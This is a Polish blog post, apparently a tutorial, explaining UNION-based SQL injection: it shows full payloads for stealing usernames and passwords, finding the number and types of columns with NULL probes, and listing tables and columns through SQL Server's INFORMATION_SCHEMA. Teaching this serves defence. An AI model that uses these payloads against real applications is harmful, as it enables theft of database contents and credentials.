W poprzednim wpisie o podstawach SQL Injection, pokazałem podstawowe błędy podczas korzystania z zapytań SELECT, INSERT, UPDATE, DELETE. Jak okazało się, można było uzyskać dostęp do poufnych danych. Użycie operatora UNION to kolejna eskalacja ataku, dzięki której dowolne dane w bazie mogą zostać wykradzione.
Myślę, że warto poznać wszystkie skutki ataku SQL Injection, aby jasna była skala zagrożenia. Statystyki wciąż pokazują, że luki w SQL Injection są dość częste i programiści popełniają gdzieś błędy. W przypadku skomplikowanych systemów, gdzie zapytania generowane są dynamicznie dostrzeżenie luki może być już nie takie oczywiste.
Spójrzmy jeszcze raz na zapytanie z poprzedniego wpisu:
SELECT Name, Content FROM Articles WHERE Name= ‘fraza’ and Published=1
Co jeśli zamiast frazy, ktoś wklei:
tekst’ UNION SELECT username,password FROM Users--
Zapytanie przyjmie formę:
SELECT Name, Content FROM Articles WHERE Name= ‘tekst’ UNION SELECT username,password FROM Users--’ and Published=1
Oznacza to, że wykona się następujący kod:
SELECT Name, Content FROM Articles WHERE Name= ‘tekst’ UNION SELECT username,password FROM Users
Jeśli tylko atakujący odgadnie nazwę tabel, kolumn, ich liczbę oraz typy może uzyskać dostęp do WSZYSTKICH danych w bazie. Jeśli pierwsze zapytanie zwraca tylko jedną kolumnę, wtedy drugie musi również zwrócić taką samą liczbę (np. tylko hasło). Okazuje się, że odgadnięcie kolumn nie jest takie trudne, ponieważ dla testów można zwrócić NULL.
Załóżmy, że pierwsze zapytanie, zwraca 5 kolumn, np.:
SELECT A,B,C,D,E from Articles.
Jeśli nie znamy zarówno typów, nazw jak typów kolumn, po prostu zwracamy NULL. Typ NULL może być skonwertowany do jakiegokolwiek typu. Wystarczą zatem 5 próby:
' UNION SELECT NULL-- ' UNION SELECT NULL, NULL-- ' UNION SELECT NULL, NULL, NULL-- ' UNION SELECT NULL, NULL, NULL, NULL -- ' UNION SELECT NULL, NULL, NULL, NULL, NULL --
Jeśli któraś z prób powiedzie się sukcesem wtedy znamy już liczbę kolumn i możemy przejść do odgadywania typów kolumn. Jeśli chcemy sprawdzić czy któraż z nich jest typu text, wtedy:
' UNION SELECT 'Hello World', NULL, NULL, NULL, NULL -- ' UNION SELECT NULL, 'Hello World', NULL, NULL, NULL -- ' UNION SELECT NULL, NULL, 'Hello World', NULL, NULL -- ' UNION SELECT NULL, NULL, NULL, 'Hello World', NULL -- ' UNION SELECT NULL, NULL, NULL, NULL, 'Hello World'--
Zawsze jeden typ odgadujemy za pierwszy razem. Jęśli próba nie powiedzie się, przesuwamy tekst do kolejnej kolumny.
Następnie możemy spróbować inny typ – np. liczbowy. Załóżmy, że ostatnia kolumna to tekst i teraz szukamy typu liczbowego:
' UNION SELECT 1, NULL, NULL, NULL, 'Hello World'-- ' UNION SELECT NULL, 1, NULL, NULL, 'Hello World'-- ' UNION SELECT NULL, NULL, 1, NULL, 'Hello World'-- ' UNION SELECT NULL, NULL, NULL, 1, 'Hello World'--
Na tym etapie wiemy już o liczbie oraz typach kolumn w pierwszym zapytaniu. W celu wykorzystania luki, trzeba odgadnąć jeszcze nazwę tabeli oraz nazwy kolumn, które chcemy odczytać. Czasami można domyślić się np. “SELECT Name from Users” ale nie jest to zbyt przydatne podejście.
Większość baz danych dostarcza metadane czyli informacje o dostępnych tabelach i kolumnach. W SQL Server do dyspozycji mamy INFORMATION_SCHEMA.
Tym sposobem, jeśli tylko znamy liczbę kolumn oraz ich typy możemy (załóżmy 3 kolumny, pierwsze dwie to typy tekstowe):
' UNION SELECT TABLE_NAME,COLUMN_NAME, NULL from INFORMATION_SCHEMA.COLUMNS--
Teraz już mamy wystarczające informacje aby odczytać jakiekolwiek dane z bazy.